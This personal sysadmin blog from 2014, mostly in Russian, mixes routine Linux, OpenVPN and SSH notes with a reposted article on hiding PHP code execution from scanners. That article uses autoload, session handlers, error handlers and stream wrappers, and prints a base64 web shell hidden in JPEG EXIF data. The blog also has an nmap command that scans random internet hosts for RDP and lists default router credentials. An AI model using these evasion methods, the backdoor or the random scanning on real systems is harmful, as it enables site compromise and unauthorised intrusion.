воскресенье, 23 марта 2014 г.

There are unfinished transactions remaining yum

There are unfinished transactions remaining. You might consider running yum-complete-transaction first to finish them.
The program yum-complete-transaction is found in the yum-utils package.
--> Running transaction check
Just type 
yum-complete-transaction
and if the command not found
yum install yum-utils 
yum-complete-transaction

суббота, 22 марта 2014 г.

Deekline & Ed Solo - Always RIP (Eddie K & Minus Remix)


Продвинутые методы неявного вызова php кода, использующиеся во вредоносных скриптах

В качестве примера вредоносного кода снова будем использовать вызов
echo 'Test'

Поскольку цель статьи показать различные подходы и механизмы скрытого выполнения кода, то для простоты функция, которая выполняет наш «вредоносный код» будет объявлена рядом с вызываемым ее неявно кодом. В реальной жизни вредоносный код и его вызов находятся далеко друг от друга, как минимум в разных php скриптах, но чаще код подгружается из базы данных, мета-данных изображений, с другого сервера, после чего выполняется функцией eval, assert, preg_replace и им подобными.



Вариант №1: использование механизма autoload.

Вредоносный код вызывается в autoload обработчике при создании несуществующего класса.

<?php
function __autoload($classname) {
  echo 'Test';
}

//...
new myEvilClass();


Вариант №2: использование еще одного механизма autoload в версии 5.3 и выше

<?php
// php >= 5.3.0

class EvilClass {
    static public function evil($name) {
        echo 'Test';
    }
}

// ...

spl_autoload_register(__NAMESPACE__ .'\EvilClass::evil'); 

// ...

new Malware; 


Вариант №3: использование обработчика сессии.

В момент создания сессии будет вызвана зарегистрированная функция.

<?php
function just_do_it() {
  echo 'Test';
}

// ...

$f = function() {};
session_set_save_handler("just_do_it", $f, $f, $f, $f, $f);
@session_start();



Вариант №4: использование итератора.

Для разнообразия не будем явно объявлять функцию. В приведенном ниже варианте код функции можно взять из любого хранилища в
виде строки и создать функцию в рантайме.

<?php
$f = create_function('', "echo 'Test';");

// ...

$it = new ArrayIterator(array(''));
iterator_apply($it, $f, array($it));


Вариант №5: вызов через обработчик исключений.

В этом врианте код для вызова может быть передан в качестве текста исключения.

<?php
function exception_handler($e) {
  preg_replace_callback('||', create_function('', $e->getMessage()), ''); 
}

// ...

set_exception_handler('exception_handler');

// ...

throw new Exception('echo "Test";');


Вариант №6: использование обработчика ошибок.

Подход подобен №5, но код неявно вызывается методами trigger_error() или user_error(). Сам код передается через текст ошибки. Стоит отметить, что данное решение работает при любых настройках error_reporting.

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
  array_map(create_function('', $errstr), array(''));
}

// ...

set_error_handler('error_handler');
$badcode = 'echo "Test";';

trigger_error($badcode, E_USER_ERROR); // или user_error();


Вариант №7: использование собственного загрузчика сущностей.

Работает начиная с версии 5.4. Вредоносный код может быть в XML тегах или в служебных полях документа.

<?php
// для php >= 5.4

$xml =<<<XML
<!DOCTYPE zlodei PUBLIC "echo 'Test';" "http://example/">
<zlodei>bar</zlodei>
XML;

$dtd =<<<DTD
<!ELEMENT zlodei (#PCDATA)>
DTD;

libxml_set_external_entity_loader(
    function ($public, $system, $context) use($dtd) {
       array_reduce(array(''), create_function('', $public)); 
    }
);

// ...

$dd = new DOMDocument;
$r  = $dd->loadXML($xml);
@$dd->validate();


Вариант №8: создание собственного стрима для неявного вызова кода

Регистрируется обработчик потоков и любыми функциями, поддерживающими работу со стримами, можно выполнить код, который может быть передан в url или записан в поток. Для разнообразия вместо банального eval() код вызывается через create_function().

<?php
class MalwareStream {
    function stream_open($path, $mode, $options, &$opened_path)
    {
        $url = parse_url($path);
        $f = create_function('', $url["host"]);
        $f();

        return true;
    }
}

// ...

stream_wrapper_register("malw", "MalwareStream");

// ...

$fp = fopen('malw://echo "Test";', '');


В отличие от конструкций, перечисленных в предыдущей заметке, обнаружить подобные неявные вызовы кода при статическом анализе достаточно проблематично. Серверным антивирусным сканерам это пока не под силу.


Бонус трек
Какие еще варианты используют хакеры, чтобы загрузить и выполнить вредоносный код?

Во-первых, использование директив php_auto_append / php_auto_prepend в .htaccess файле или php.ini. Например,

php_value auto_prepend_file /images/stories/mycode.jpg


будет выполнять код из файла mycode.jpg перед выполнением любого скрипта.

Во-вторых, динамическая загрузка расширений функцией dl(). Для этого должен быть собран .so (*nix) или .dll (windows) модуль. Это достаточно редкий случай, тем не менее и он имеет место быть. Продвинутые хакеры могут разрабатывать и инжектировать модули в апач или nginx.

В-третьих, есть конструкция c обратными кавычками (являющаяся алиасом для shell_exec):

<?php
$a = `ls -la`; 
echo $a;


Она также выполнит системную команду ls -la, если, конечно, shell_exec разрешен в настройках php.

И напоследок пример неявного вызова кода, который загружается из exif заголовка jpeg файла.

<?php
$exif = exif_read_data('/home/website/images/stories/food/evil.jpg');
preg_replace($exif['Make'],$exif['Model'],'');


А jpg файл выглядит примерно так:

yOya^@^PJFIF^@^A^B^@^@d^@d^@^@ya^@?Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@yi^@^QDucky^@^A^@^D^@^@^@<^@^@yi^@^NAdobe^...


Из поля Make берется /.*/e, из поля Model — @ eval(base64_decode(...)) и выполняется через preg_replace() из-за модификатора «e».


http://habrahabr.ru/post/215817/

четверг, 20 марта 2014 г.

One authentication with multiple ssh terminals

The concept is very simple — rather than each new SSH connection to a particular server opening up a new TCP connection, you instead multiplex all of your SSH connections down one TCP connection. The authentication only happens once, when the TCP connection is opened, and thereafter all your extra SSH sessions are sent down that connection.

Host *
ControlMaster auto
ControlPath ~/.ssh/cm_socket/%r@%h:%p

Then mkdir ~/.ssh/cm_socket, and you’re away. Any time a connection to a remote server exists, it’ll be used as the master for any other connections.

All of your SSH sessions are multiplexed down a single TCP connection initiated by the first SSH session, that first session must stay alive until all of the other sessions are complete. This problem will manifest itself as an apparent “hang” when you log out of the remote session that is acting as the master — instead of getting your local prompt back, SSH will just sit there. If you Ctrl-C or otherwise kill this session, all of the other sessions you’ve got setup to that server will drop, so don’t do that. Instead, when you logout of all the other sessions, the master will then return to the local prompt.

Boozoo Bajou - Way Down (ft. Ben Weaver)


вторник, 25 февраля 2014 г.

Настройка локали Linux

If you use bash as your shell, you can put these lines in your ~/.bashrc and ~/.profile files
export LC_ALL=en_US.UTF-8
export LANG=en_US.UTF-8
export LANGUAGE=en_US.UTF-8
To make these changes active in the current shell, source the .bashrc:
source ~/.bashrc

понедельник, 24 февраля 2014 г.

How to add openvpn autostart in Linux

Create file:
nano /etc/init.d/myopenvpn


Insert inside:
# OpenVPN autostart on boot script

start on runlevel [2345]
stop on runlevel [!2345]

respawn

exec /usr/sbin/openvpn --status /var/run/openvpn.client.status 10 --cd /etc/openvpn --config /etc/openvpn/client.conf --syslog openvpn

воскресенье, 23 февраля 2014 г.

Openvpn setup

Firstly
yum install gcc make rpm-build autoconf.noarch zlib-devel pam-devel openssl-devel -y
Now download LZO RPM and Configure RPMForge Repo. Use wget command:
wget http://openvpn.net/release/lzo-1.08-4.rf.src.rpm
Then build the rpm package using this command:
rpmbuild --rebuild lzo-1.08-4.rf.src.rpm

rpm -Uvh lzo-*.rpm

rpm -Uvh rpmforge-release*

Installing OpenVPN
Only for VPS based-on OpenVZ virtualization (other skip this): please enable TUN/TAP options in your VPS control panel (e.g: SolusVM)




Install by yum “yum install openvpn”
If we got the problem with “No package openvpn available”

Download rpmforge for your system from http://pkgs.repoforge.org/rpmforge-release/

Install rpmforge by rpm command

rpm -ivh rpmforge-release-0.5.3-1.el6.rf.x86_64.rpm


After instlall rpmforge, now we can use yum to install openvpn

yum install openvpn

Now you need to change some files, copy directories, and generate the SSL keys for your server. Execute the following commands:
cp -R /usr/share/doc/openvpn-2.2.2/easy-rsa/ /etc/openvpn/

nano /etc/openvpn/easy-rsa/2.0/vars
edit this line
export KEY_CONFIG='$EASY_RSA/whichopensslcnf $EASY_RSA'
replace it with
export KEY_CONFIG=/etc/openvpn/easy-rsa/2.0/openssl-1.0.0.cnf
once done hit Control+O to save then Control+X to exit. Create the certificate using these commands:
cd /etc/openvpn/easy-rsa/2.0

chmod 755 *

source ./vars

./vars

./clean-all

./build-ca

Common Name: your server hostname

./build-key-server server

./build-dh


nano -w /etc/openvpn/server.conf //put here your settings
port 1194 #- port
proto udp #- protocol
dev tun
tun-mtu 1500
tun-mtu-extra 32
mssfix 1450
reneg-sec 0
ca /etc/openvpn/easy-rsa/2.0/keys/ca.crt
cert /etc/openvpn/easy-rsa/2.0/keys/server.crt
key /etc/openvpn/easy-rsa/2.0/keys/server.key
dh /etc/openvpn/easy-rsa/2.0/keys/dh1024.pem
plugin /usr/share/openvpn/plugin/lib/openvpn-auth-pam.so /etc/pam.d/login #- Comment this line if you are using FreeRADIUS
#plugin /etc/openvpn/radiusplugin.so /etc/openvpn/radiusplugin.cnf #- Uncomment this line if you are using FreeRADIUS
client-cert-not-required
username-as-common-name
server 10.8.0.0 255.255.255.0
push "redirect-gateway def1"
push "dhcp-option DNS 8.8.8.8"
push "dhcp-option DNS 8.8.4.4"
keepalive 5 30
comp-lzo
persist-key
persist-tun
status 1194.log
verb 3
service openvpn start


chkconfig openvpn on

//add autostart

echo openvpn /etc/openvpn/server.conf >> /etc/rc.d/rc.local
You’ll also need to enable IP forwarding in the file /etc/sysctl.conf. Open it and edit “net.ipv4.ip_forward” line to 1:
nano /etc/sysctl.conf

//set net.ipv4.ip_forward = 1

sysctl -p
Create new Linux username which can also be used to login to the VPN:
useradd username -s /bin/false


passwd username

Now route some iptables.
Xen and KVM users use:
iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
special for OpenVZ use these two instead:
iptables -t nat -A POSTROUTING -o venet0 -j SNAT --to-source 123.123.123.123

iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -j SNAT --to-source 123.123.123.123
Do not forget to replace 123.123.123.123 with your server IP.
Save rules
service iptables save
Client .ovpn config file
client
dev tun
proto udp
remote-cert-tls server #server certificate verification by client(build-key-server)
remote 123.123.123.123 1194 # - Your server IP and OpenVPN Port
resolv-retry infinite
nobind
tun-mtu 1500
tun-mtu-extra 32
mssfix 1450
persist-key
persist-tun
ca ca.crt
auth-user-pass
comp-lzo
reneg-sec 0
verb 3
sudo openvpn --config ~/path/to/client.ovpn

воскресенье, 9 февраля 2014 г.

Routers

    User: admin
    Pass: 1234
  

CPE WAN Management Protocol (CWMP)
CPE WAN Management Protocol remote configuration is by default often enabled. This means, that the device opens a backdoor.



sys password


model info
sys atsh

add user
sys multiuser on|username password

sys cwmp disp


Отключаем злосчастный сервисный протокол CWMP и очищаем его параметры для уверенности
ZTE> sys cwmp clearall
ZTE> sys cwmp switch 0
cwmp switch is 0.
ZTE> sys cwmp disp
************** Display messages about cwmp **************
CWMP Debug Level: 0
CWMP Switch: 0
ACS URL: http://:0
ACS Login User Name:
ACS Login Password:
Connection Request URL: http://0.0.0.0:80/
Connection Request User Name:
Connection Request Password:
CPE Inform Period Enable: 0
CPE Inform Period Interval: 0
CPE OUI:
CPE ProductClass:
CPE Description:
CPE SerialNumber: 002512CA9093
CPE Manufacture:
CPE ModelName:
ZTE>

sys save


Entering an incorrect command will result in a list of valid commands.

 tc> ls
   Valid commands are:
   sys             exit            ether           wan             
   ip              bridge          dot1q           pktqos          
   show            set             lan  
 
   Entering an incomplete command will result in a list of valid command options.

четверг, 6 февраля 2014 г.

nmap tricks

Скан дедиков
nmap -n -Pn -p T:3389 -T5 -iR 0
-n не разрешать dns
-Pn - disable ping (host discovery,Treat all hosts as online) before port scanning -p T:3389 - port + TCP protocol
-T5 - paranoid mode (only if you have wide network channel)
Имена шаблонов следующие: paranoid(паранойдный) (0), sneaky(хитрый) (1), polite(вежливый) (2), normal(обычный) (3), aggressive(агрессивный) (4) и insane(безумный) (5).
Первые два предназначены для обхода IDS. Вежливый (polite) режим снижает интенсивность сканирования с целью меньшего потребления пропускной способности и машинных ресурсов. Обычнй (normal) режим устанавливается по умолчанию, поэтому опция -T3 ничего не делает. Агрессивный (aggressive) режим повышает интенсивность сканирования, предполагая, что вы используете довольно быструю и надежную сеть. Наконец, безумный (insane) режим предполагает, что вы используете чрезвычайно быструю сеть и готовы пожертвовать точностью ради скорости.
-iR 0 - scan random ip
-iR <кол-во хостов> (Выбирает произвольные цели)
Аргумент 0 может быть передан для бесконечного сканирования

Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
  Can pass hostnames, IP addresses, networks, etc.
  Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
  -iL <inputfilename>: Input from list of hosts/networks
  -iR <num hosts>: Choose random targets
  --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
  --excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
  -sL: List Scan - simply list targets to scan
  -sn: Ping Scan - disable port scan
  -Pn: Treat all hosts as online -- skip host discovery
  -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
  -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
  -PO[protocol list]: IP Protocol Ping
  -n/-R: Never do DNS resolution/Always resolve [default: sometimes]
  --dns-servers <serv1[,serv2],...>: Specify custom DNS servers
  --system-dns: Use OS's DNS resolver
  --traceroute: Trace hop path to each host
SCAN TECHNIQUES:
  -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
  -sU: UDP Scan
  -sN/sF/sX: TCP Null, FIN, and Xmas scans
  --scanflags <flags>: Customize TCP scan flags
  -sI <zombie host[:probeport]>: Idle scan
  -sY/sZ: SCTP INIT/COOKIE-ECHO scans
  -sO: IP protocol scan
  -b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
  -p <port ranges>: Only scan specified ports
    Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
  -F: Fast mode - Scan fewer ports than the default scan
  -r: Scan ports consecutively - don't randomize
  --top-ports <number>: Scan <number> most common ports
  --port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:
  -sV: Probe open ports to determine service/version info
  --version-intensity <level>: Set from 0 (light) to 9 (try all probes)
  --version-light: Limit to most likely probes (intensity 2)
  --version-all: Try every single probe (intensity 9)
  --version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
  -sC: equivalent to --script=default
  --script=<Lua scripts>: <Lua scripts> is a comma separated list of 
           directories, script-files or script-categories
  --script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
  --script-args-file=filename: provide NSE script args in a file
  --script-trace: Show all data sent and received
  --script-updatedb: Update the script database.
  --script-help=<Lua scripts>: Show help about scripts.
           <Lua scripts> is a comma separted list of script-files or
           script-categories.
OS DETECTION:
  -O: Enable OS detection
  --osscan-limit: Limit OS detection to promising targets
  --osscan-guess: Guess OS more aggressively
TIMING AND PERFORMANCE:
  Options which take <time> are in seconds, or append 'ms' (milliseconds),
  's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
  -T<0-5>: Set timing template (higher is faster)
  --min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
  --min-parallelism/max-parallelism <numprobes>: Probe parallelization
  --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies
      probe round trip time.
  --max-retries <tries>: Caps number of port scan probe retransmissions.
  --host-timeout <time>: Give up on target after this long
  --scan-delay/--max-scan-delay <time>: Adjust delay between probes
  --min-rate <number>: Send packets no slower than <number> per second
  --max-rate <number>: Send packets no faster than <number> per second
FIREWALL/IDS EVASION AND SPOOFING:
  -f; --mtu <val>: fragment packets (optionally w/given MTU)
  -D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
  -S <IP_Address>: Spoof source address
  -e <iface>: Use specified interface
  -g/--source-port <portnum>: Use given port number
  --data-length <num>: Append random data to sent packets
  --ip-options <options>: Send packets with specified ip options
  --ttl <val>: Set IP time-to-live field
  --spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
  --badsum: Send packets with a bogus TCP/UDP/SCTP checksum
OUTPUT:
  -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
     and Grepable format, respectively, to the given filename.
  -oA <basename>: Output in the three major formats at once
  -v: Increase verbosity level (use -vv or more for greater effect)
  -d: Increase debugging level (use -dd or more for greater effect)
  --reason: Display the reason a port is in a particular state
  --open: Only show open (or possibly open) ports
  --packet-trace: Show all packets sent and received
  --iflist: Print host interfaces and routes (for debugging)
  --log-errors: Log errors/warnings to the normal-format output file
  --append-output: Append to rather than clobber specified output files
  --resume <filename>: Resume an aborted scan
  --stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
  --webxml: Reference stylesheet from Nmap.Org for more portable XML
  --no-stylesheet: Prevent associating of XSL stylesheet w/XML output
MISC:
  -6: Enable IPv6 scanning
  -A: Enable OS detection, version detection, script scanning, and traceroute
  --datadir <dirname>: Specify custom Nmap data file location
  --send-eth/--send-ip: Send using raw ethernet frames or IP packets
  --privileged: Assume that the user is fully privileged
  --unprivileged: Assume the user lacks raw socket privileges
  -V: Print version number
  -h: Print this help summary page.
EXAMPLES:
  nmap -v -A scanme.nmap.org
  nmap -v -sn 192.168.0.0/16 10.0.0.0/8
  nmap -v -iR 10000 -Pn -p 80
SEE THE MAN PAGE (http://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES